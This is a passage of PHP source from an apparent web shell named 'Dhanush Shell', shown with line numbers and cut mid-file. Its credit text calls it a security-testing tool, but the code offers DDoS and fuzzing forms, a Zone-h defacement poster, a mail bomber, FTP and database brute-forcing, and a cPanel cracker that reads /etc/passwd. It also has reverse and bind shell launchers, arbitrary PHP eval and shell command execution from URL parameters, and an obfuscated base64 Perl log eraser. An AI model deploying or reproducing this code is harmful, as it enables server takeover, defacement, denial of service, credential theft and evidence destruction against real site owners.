4982 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
4983 </td>
4984 </tr>
4985 </table>
4986 </form><div id="showdos"></div>
4987 <?php
4988}
4989// Zone-h Poster
4990 else if(isset($_GET["zone"]))
4991 {
4992 if(!function_exists('curl_version'))
4993 {
4994 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
4995 }
4996 ?>
4997 <center><font size="4">Zone-h Poster</font></center>
4998 <form action="<?php echo $self; ?>" method="post">
4999 <table align="center" cellpadding="5" border="0">
5000 <tr>
5001 <td>
5002 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
5003 <tr><td>
5004 <select name="hackmode" class="box">
5005 <option >--------SELECT--------</option>
5006 <option value="1">known vulnerability (i.e. unpatched system)</option>
5007 <option value="2" >undisclosed (new) vulnerability</option>
5008 <option value="3" >configuration / admin. mistake</option>
5009 <option value="4" >brute force attack</option>
5010 <option value="5" >social engineering</option>
5011 <option value="6" >Web Server intrusion</option>
5012 <option value="7" >Web Server external module intrusion</option>
5013 <option value="8" >Mail Server intrusion</option>
5014 <option value="9" >FTP Server intrusion</option>
5015 <option value="10" >SSH Server intrusion</option>
5016 <option value="11" >Telnet Server intrusion</option>
5017 <option value="12" >RPC Server intrusion</option>
5018 <option value="13" >Shares misconfiguration</option>
5019 <option value="14" >Other Server intrusion</option>
5020 <option value="15" >SQL Injection</option>
5021 <option value="16" >URL Poisoning</option>
5022 <option value="17" >File Inclusion</option>
5023 <option value="18" >Other Web Application bug</option>
5024 <option value="19" >Remote administrative panel access bruteforcing</option>
5025 <option value="20" >Remote administrative panel access password guessing</option>
5026 <option value="21" >Remote administrative panel access social engineering</option>
5027 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
5028 <option value="23" >Access credentials through Man In the Middle attack</option>
5029 <option value="24" >Remote service password guessing</option>
5030 <option value="25" >Remote service password bruteforce</option>
5031 <option value="26" >Rerouting after attacking the Firewall</option>
5032 <option value="27" >Rerouting after attacking the Router</option>
5033 <option value="28" >DNS attack through social engineering</option>
5034 <option value="29" >DNS attack through cache poisoning</option>
5035 <option value="30" >Not available</option>
5036 </select>
5037 </td></tr>
5038 <tr><td>
5039 <select name="reason" class="box">
5040 <option >--------SELECT--------</option>
5041 <option value="1" >Heh...just for fun!</option>
5042 <option value="2" >Revenge against that website</option>
5043 <option value="3" >Political reasons</option>
5044 <option value="4" >As a challenge</option>
5045 <option value="5" >I just want to be the best defacer</option>
5046 <option value="6" >Patriotism</option>
5047 <option value="7" >Not available</option>
5048 </select></td></tr>
5049 <tr><td>
5050 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
5051 <tr><td>
5052 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
5053 </form><div id="showzone"></div>
5054 <?php }
5055//DDos
5056 else if(isset($_GET['dos']))
5057 {
5058 ?>
5059 <form method="GET">
5060 <table id="margins">
5061 <tr>
5062 <td width="400" class="title">
5063 IP
5064 </td>
5065 <td>
5066 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
5067 </td>
5068 </tr>
5069
5070 <tr>
5071 <td class="title">
5072 Port
5073 </td>
5074 <td>
5075 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
5076 </td>
5077 </tr>
5078
5079 <tr>
5080 <td class="title">
5081 Timeout <font >(Time in seconds)</font>
5082 </td>
5083 <td>
5084 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
5085 </td>
5086 </tr>
5087 <tr>
5088 <td class="title">
5089 Execution Time <font >(Time in seconds)</font>
5090 </td>
5091 <td>
5092 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
5093 </td>
5094 </tr>
5095 <tr>
5096 <td class="title">
5097 No of Bytes per/packet
5098 </td>
5099 <td>
5100 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
5101 </td>
5102 </tr>
5103 <tr>
5104 <td rowspan="2">
5105 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
5106 </td>
5107 </tr>
5108 </table>
5109 </form><div id="showdos"></div>
5110 <?php
5111}
5112else if(isset($_GET['mailbomb']))
5113{ ?>
5114 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
5115 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
5116<?php
5117}
5118else if(isset($_GET['tools']))
5119 {
5120 ?>
5121 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
5122 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
5123 <tr>
5124 <td colspan="2" align="center"><b><font size='4'>Port Scanner<br></font></b></td>
5125 </tr>
5126 <tr>
5127 <td align="center">
5128 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
5129 </td>
5130 <td align="center">
5131 <select class="sbox" name='protocol'>
5132 <option value='tcp'>tcp</option>
5133 <option value='udp'>udp</option>
5134 </select>
5135 </td>
5136 <tr>
5137 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
5138 </tr>
5139 </form>
5140 <tr><td colspan=2><div id="showports"></div>
5141 </td></tr></table>
5142
5143 <br>
5144 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
5145 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
5146 <tr>
5147 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
5148 </tr>
5149 <tr>
5150 <td>Type : </td>
5151 <td>
5152 <select name="prototype" class="sbox">
5153 <option value="ftp">FTP</option>
5154 <option value="mysql">MYSQL</option>
5155 <option value="postgresql">PostgreSql</option>
5156 </select>
5157 </td>
5158 </tr>
5159 <tr>
5160 <td>Server <b>:</b> Port : </td>
5161 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
5162 </tr>
5163 <tr>
5164 <td valign="middle">Brute type : </td>
5165 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
5166 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
5167 Login : <input type="text" name="login" value="root" class="sbox"><br>
5168 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
5169 </td>
5170 </tr>
5171 <tr>
5172 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
5173 </tr>
5174 </form><tr><td colspan="2" id="showbrute"></td></tr>
5175 </table>
5176 </center><br>
5177 <?php
5178}
5179else if (isset($_GET["phpc"]))
5180{
5181 ?>
5182 <div id="showresult"></div>
5183 <form name="frm">
5184 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
5185 <br /><br />
5186 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
5187 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
5188 </form>
5189 <?php
5190}
5191else if(isset($_GET["exploit"]))
5192{
5193 if(!isset($_GET["rootexploit"]))
5194 {
5195 ?>
5196 <center>
5197 <form action="<?php echo $self; ?>" method="get" target="_blank">
5198 <input type="hidden" name="exploit">
5199 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
5200 <tr>
5201 <td style="height:60px;">
5202 <font size="4" class=txt>Select Website</font></td><td>
5203 <p><select id="rootexploit" name="rootexploit" class="box">
5204 <option value="exploit-db">Exploit-db</option>
5205 <option value="packetstormsecurity">Packetstormsecurity</option>
5206 <option value="exploitsearch">Exploitsearch</option>
5207 <option value="shodanhq">Shodanhq</option>
5208 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
5209 <input type="submit" value="Search" class="but"></td></tr></table>
5210 </form></center><br>
5211
5212 <?php
5213 }
5214 else
5215 {
5216 //exploit search
5217 $Lversion = php_uname(r);
5218 $OSV = php_uname(s);
5219 if(eregi('Linux',$OSV))
5220 {
5221 $Lversion=substr($Lversion,0,6);
5222 if($_GET['rootexploit'] == "exploit-db")
5223 {
5224 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$Lversion&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
5225 }
5226 else if($_GET['rootexploit'] == "packetstormsecurity")
5227 {
5228 header("Location:http://www.packetstormsecurity.org/search/?q=Linux+Kernel+$Lversion");
5229 }
5230 else if($_GET['rootexploit'] == "exploitsearch")
5231 {
5232 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
5233 }
5234 else if($_GET['rootexploit'] == "shodanhq")
5235 {
5236 header("Location:https://exploits.shodan.io/?q=$Lversion+platform:\"linux\"");
5237 }
5238 }
5239 else
5240 {
5241 $Lversion=substr($Lversion,0,3);
5242 if($_GET['rootexploit'] == "exploit-db")
5243 {
5244 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV&filter_exploit_text=&filter_author=&filter_platform=16&filter_type=2&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=");
5245 }
5246 else if($_GET['rootexploit'] == "packetstormsecurity")
5247 {
5248 header("Location:http://www.packetstormsecurity.org/search/?q=$OSV+Lversion");
5249 }
5250 else if($_GET['rootexploit'] == "exploitsearch")
5251 {
5252 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
5253 }
5254 else if($_GET['rootexploit'] == "shodanhq")
5255 {
5256 header("Location:https://exploits.shodan.io/?q=$OSV+platform:\"windows\"");
5257 }
5258 }
5259 //End of Exploit search
5260 }
5261}
5262// Connect
5263else if(isset($_REQUEST['connect']))
5264{
5265 ?>
5266 <form action='<?php echo $self; ?>' method='POST' >
5267 <table style="width:50%" align="center" >
5268 <tr>
5269 <th colspan="1" width="50px">Reverse Shell</th>
5270 <th colspan="1" width="50px">Bind Shell</th>
5271 </tr>
5272 <tr>
5273 <td>
5274 <table style="border-spacing: 6px;">
5275 <tr>
5276 <td>IP </td>
5277 <td>
5278 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
5279 </td>
5280 </tr>
5281 <tr>
5282 <td>Port </td>
5283 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
5284 </tr>
5285 <tr>
5286 <td style="vertical-align:top;">Use:</td>
5287 <td><select style="width: 95px;" name="lang" class="sbox">
5288 <option value="perl">Perl</option>
5289 <option value="python">Python</option>
5290 <option value="php">PHP</option>
5291 </select>
5292 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
5293 </tr>
5294 </table> </form>
5295 </td>
5296
5297 <td style="vertical-align:top;">
5298 <form method='post' >
5299 <table style="border-spacing: 6px;">
5300 <tr>
5301 <td>Port</td>
5302 <td>
5303 <input style="width: 200px;" class="box" name="port" value="9891" />
5304 </td>
5305 </tr>
5306 <tr>
5307 <td>Password </td>
5308 <td>
5309 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
5310 </td>
5311 <tr>
5312 <td>Using</td>
5313 <td>
5314 <select style="width: 95px;" name="lang" id="lang" class="sbox">
5315 <option value="perl">Perl</option>
5316 <option value="c">C</option>
5317 </select>
5318 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
5319 </tr>
5320 </table>
5321 </td>
5322 </form>
5323 </tr>
5324 <tr><td colspan=2>Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</td></tr>
5325 </table>
5326
5327 <?php
5328 }
5329else if(isset($_REQUEST['subdomain']))
5330{
5331 ?>
5332 <center><form>
5333 <table>
5334 <tr>
5335 <td>Cpanel user : </td>
5336 <td><input type="text" name="cpaneluser" value="<?php echo get_current_user(); ?>" class="box" /></td>
5337 </tr>
5338 <tr>
5339 <td>Cpanel password : </td>
5340 <td><input type="password" name="cpanelpass" class="box" /></td>
5341 </tr>
5342 <tr>
5343 <td>Number of Subdomain : </td>
5344 <td><input type="text" name="noofsubdomain" class="box" value="10" /></td>
5345 </tr>
5346 <tr>
5347 <td valign="top">Index : </td>
5348 <td><textarea rows="7" cols="54" name="subindex" class="box">You just got Hacked</textarea></td>
5349 </tr>
5350 <tr>
5351 <td></td>
5352 <td><input type="button" value=" go " class="but" onClick="createsubdomain(cpaneluser.value,cpanelpass.value,noofsubdomain.value,subindex.value)" /></td>
5353 </tr>
5354 </table></center></form><br>
5355 <div id="showmydata"></div>
5356 <?php
5357}
5358else if(isset($_REQUEST['404']))
5359{
5360 ?>
5361 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
5362 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
5363 </tr></table></center><br>
5364 <div id="showdata"></div>
5365 <?php
5366}
5367else if(isset($_GET['about']))
5368 { ?>
5369 <center>
5370 <p><font size=6><u>D h a n u s h</u></font><br>
5371 <font size=5>[--==Coded By Arjun==--]</font>
5372 <div style='font-family: Courier New; font-size: 10px;'><font class=om><pre>
5373
5374 - -- -
5375 -- -- --
5376 -- --
5377 --- ---
5378 ------
5379 ----
5380 ----
5381 ------
5382-------
5383--- --
5384 -- ---
5385 -- -----
5386 --- --- ---
5387 --- --- ---
5388-- --------- --
5389-- ------- --
5390 -- ---- --
5391 -- --- --
5392 -- -- --
5393 --- --- -- ---
5394 ------ ------
5395 ---- ----
5396
5397
5398 </pre></font></div></center>
5399 <font class="om">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server. The developer of the script is not responsible for any damage or misuse of it.</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
5400 <?php }
5401else if(isset($_GET['database']))
5402{ ?>
5403 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
5404 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
5405 <tr>
5406 <td colspan="2">Connect To Database</td>
5407 </tr>
5408 <tr>
5409 <td>Server Address :</td>
5410 <td><input type="text" class="box" name="server" value="localhost"></td>
5411 </tr>
5412 <tr>
5413 <td>Username :</td>
5414 <td><input type="text" class="box" name="username" value="root"></td>
5415 </tr>
5416 <tr>
5417 <td>Password:</td>
5418 <td><input type="text" class="box" name="password" value=""></td>
5419 </tr>
5420
5421 <tr>
5422 <td></td>
5423 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
5424 </tr>
5425 </table>
5426 </form>
5427 <div id="showsql"></div>
5428<?php
5429}
5430// Cpanel Cracker
5431 else if(isset($_REQUEST['cpanel']))
5432 {
5433 $cpanel_port="2082";
5434 $connect_timeout=5;
5435 ?>
5436 <center>
5437 <form method=post>
5438 <table class="btmtbl" style="width:50%;" border=1 cellpadding=4>
5439 <tr>
5440 <td align=center>User names</td><td align=center>Password</td>
5441 </tr>
5442 <tr>
5443 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
5444 if($os != "Windows")
5445 {
5446 if(@file('/etc/passwd'))
5447 {
5448 $users = file('/etc/passwd');
5449 foreach($users as $user)
5450 {
5451 $user = explode(':', $user);
5452 echo $user[0] . "\n";
5453 }
5454 }
5455 else
5456 {
5457 $temp = "";
5458 $val1 = 0;
5459 $val2 = 1000;
5460 for(;$val1 <= $val2;$val1++)
5461 {
5462 $uid = @posix_getpwuid($val1);
5463 if ($uid)
5464 $temp .= join(':',$uid)."\n";
5465 }
5466
5467 $temp = trim($temp);
5468
5469 if($file5 = fopen("test.txt","w"))
5470 {
5471 fputs($file5,$temp);
5472 fclose($file5);
5473
5474 $file = fopen("test.txt", "r");
5475 while(!feof($file))
5476 {
5477 $s = fgets($file);
5478 $matches = array();
5479 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5480 $matches = str_replace("home/","",$matches[1]);
5481 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5482 continue;
5483 echo $matches;
5484 }
5485 fclose($file);
5486 }
5487 }
5488 }
5489
5490 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
5491 </tr>
5492 <tr>
5493 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
5494 </tr>
5495 </table>
5496 </form>
5497 </center>
5498 <?php
5499}
5500else if(isset($_REQUEST['malattack']))
5501{
5502 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
5503 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
5504 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
5505 <div id="showdata"></div>
5506 <?php
5507}
5508else if(isset($_GET["com"]))
5509{
5510 echo "<br>";
5511 ob_start();
5512 eval("phpinfo();");
5513 $b = ob_get_contents();
5514 ob_end_clean();
5515 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
5516 $z = strpos($b,"</body>");
5517 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
5518 echo $s_result;
5519}
5520else if(isset($_GET['execute']))
5521{
5522 $comm = $_GET['execute'];
5523 chdir($_GET['executepath']);
5524 $check = shell_exec($comm);
5525
5526 echo "<BR><center><textarea id=showexecute cols=100 rows=20 class=box>" . $check . "</textarea></center>";
5527
5528 ?>
5529 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
5530 <input type="text" class="box" name="execute">
5531 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but">
5532 <input type="button" onClick="cancel()" value="cancel" class="but" /></form></center><BR>
5533 <?php
5534}
5535else if(isset($_GET['mycmd']))
5536{
5537 if($_GET['mycmd']=="logeraser")
5538 {
5539 $erase = gzinflate(base64_decode("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"));
5540 if(is_writable("."))
5541 {
5542 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
5543 {
5544 fwrite($openp, $erase);
5545 fclose($openp);
5546 passthru("perl logseraser.pl linux");
5547 unlink("logseraser.pl");
5548 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
5549 }
5550 } else
5551 {
5552 if($openp = fopen("/tmp/logseraser.pl", 'w'))
5553 {
5554 fwrite($openp, $erase)or die("Error");
5555 fclose($openp);
5556 $aidx = passthru("perl logseraser.pl linux");
5557 unlink("logseraser.pl");
5558 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
5559 }
5560 }
5561 }
5562 else
5563 {
5564 $check = shell_exec($_GET['mycmd']);
5565 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
5566
5567 }
5568}
5569else if(isset($_GET['prototype']))
5570{
5571 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
5572 if( $_GET['prototype'] == 'ftp' )
5573 {
5574 function BruteFun($ip,$port,$login,$pass)
5575 {
5576 $fp = @ftp_connect($ip, $port?$port:21);
5577 if(!$fp) return false;
5578 $res = @ftp_login($fp, $login, $pass);
5579 @ftp_close($fp);
5580 return $res;
5581 }
5582 }
5583 elseif( $_GET['prototype'] == 'mysql' )
5584 {
5585 function BruteFun($ip,$port,$login,$pass)
5586 {
5587 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
5588 @mysql_close($res);
5589 return $res;
5590 }
5591 }
5592 elseif( $_GET['prototype'] == 'pgsql' )
5593 {
5594 function BruteFun($ip,$port,$login,$pass)
5595 {
5596 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
5597 $res = @pg_connect($str);
5598 @pg_close($res);
5599 return $res;
5600 }
5601 }
5602
5603 $success = 0;
5604 $attempts = 0;
5605 $server = explode(":", $_GET['server']);
5606
5607 if($_GET['type'] == 1)
5608 {
5609 $temp = @file('/etc/passwd');
5610 if( is_array($temp))
5611 foreach($temp as $line)
5612 {
5613 $line = explode(":", $line);
5614 ++$attempts;
5615 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
5616 {
5617 $success++;
5618 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
5619 }
5620 if(@$_GET['reverse'])
5621 {
5622 $tmp = "";
5623 for($i=strlen($line[0])-1; $i>=0; --$i)
5624 $tmp .= $line[0][$i];
5625 ++$attempts;
5626 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
5627 {
5628 $success++;
5629 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
5630 }
5631 }
5632 }
5633 }
5634 elseif($_GET['type'] == 2)
5635 {
5636 $temp = @file($_GET['dict']);
5637 if( is_array($temp) )
5638 foreach($temp as $line)
5639 {
5640 $line = trim($line);
5641 ++$attempts;
5642 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
5643 {
5644 $success++;
5645 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
5646 }
5647 }
5648 }
5649 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
5650}
5651// Execute Query
5652else if(isset($_GET["executeit"]))
5653{
5654 if(isset($_GET['username']) && isset($_GET['server']))
5655 {
5656 $dbserver = $_GET['server'];
5657 $dbuser = $_GET['username'];
5658 $dbpass = $_GET['password'];
5659 if(mysql_connect($dbserver,$dbuser,$dbpass))
5660 {
5661 setcookie("dbserver", $dbserver);
5662 setcookie("dbuser", $dbuser);
5663 setcookie("dbpass", $dbpass);
5664
5665 listdatabase();
5666 }
5667 else
5668 echo "cannotconnect";
5669 }
5670}
5671else if(isset($_GET['action']) && isset($_GET['dbname']))
5672
5673
5674 {
5675 if($_GET['action'] == "createDB")
5676 {
5677 $dbname = $_GET['dbname'];
5678 $dbserver = $_COOKIE["dbserver"];
5679 $dbuser = $_COOKIE["dbuser"];
5680 $dbpass = $_COOKIE["dbpass"];
5681 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
5682 mysql_query("create database $dbname",$mysqlHandle);
5683 listdatabase();
5684 }
5685 if($_GET['action'] == 'dropDB')
5686 {
5687 $dbname = $_GET['dbname'];
5688 $dbserver = $_COOKIE["dbserver"];
5689 $dbuser = $_COOKIE["dbuser"];
5690 $dbpass = $_COOKIE["dbpass"];
5691 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
5692 mysql_query("drop database $dbname",$mysqlHandle);
5693 mysql_close($mysqlHandle);
5694 listdatabase();
5695 }
5696
5697 if($_GET['action'] == 'listTables')
5698 {
5699 listtable();
5700 }
5701
5702 // Create Tables
5703 if($_GET['action'] == "createtable")
5704 {
5705 $dbserver = $_COOKIE["dbserver"];
5706 $dbuser = $_COOKIE["dbuser"];
5707 $dbpass = $_COOKIE["dbpass"];
5708 $dbname = $_GET['dbname'];
5709 $tablename = $_GET['tablename'];
5710 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5711 mysql_select_db($dbname);
5712 mysql_query("CREATE TABLE $tablename ( no INT )");
5713 listtable();
5714 }
5715
5716 // Drop Tables
5717 if($_GET['action'] == "dropTable")
5718 {
5719 $dbserver = $_COOKIE["dbserver"];
5720 $dbuser = $_COOKIE["dbuser"];
5721 $dbpass = $_COOKIE["dbpass"];
5722 $dbname = $_GET['dbname'];
5723 $tablename = $_GET['tablename'];
5724 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
5725 mysql_select_db($dbname);
5726 mysql_query("drop table $tablename");
5727 listtable();
5728 }
5729
5730 // Empty Tables
5731 if($_GET['action'] == "empty")
5732 {
5733 $dbserver = $_COOKIE["dbserver"];
5734 $dbuser = $_COOKIE["dbuser"];
5735 $dbpass = $_COOKIE["dbpass"];
5736 $dbname = $_GET['dbname'];
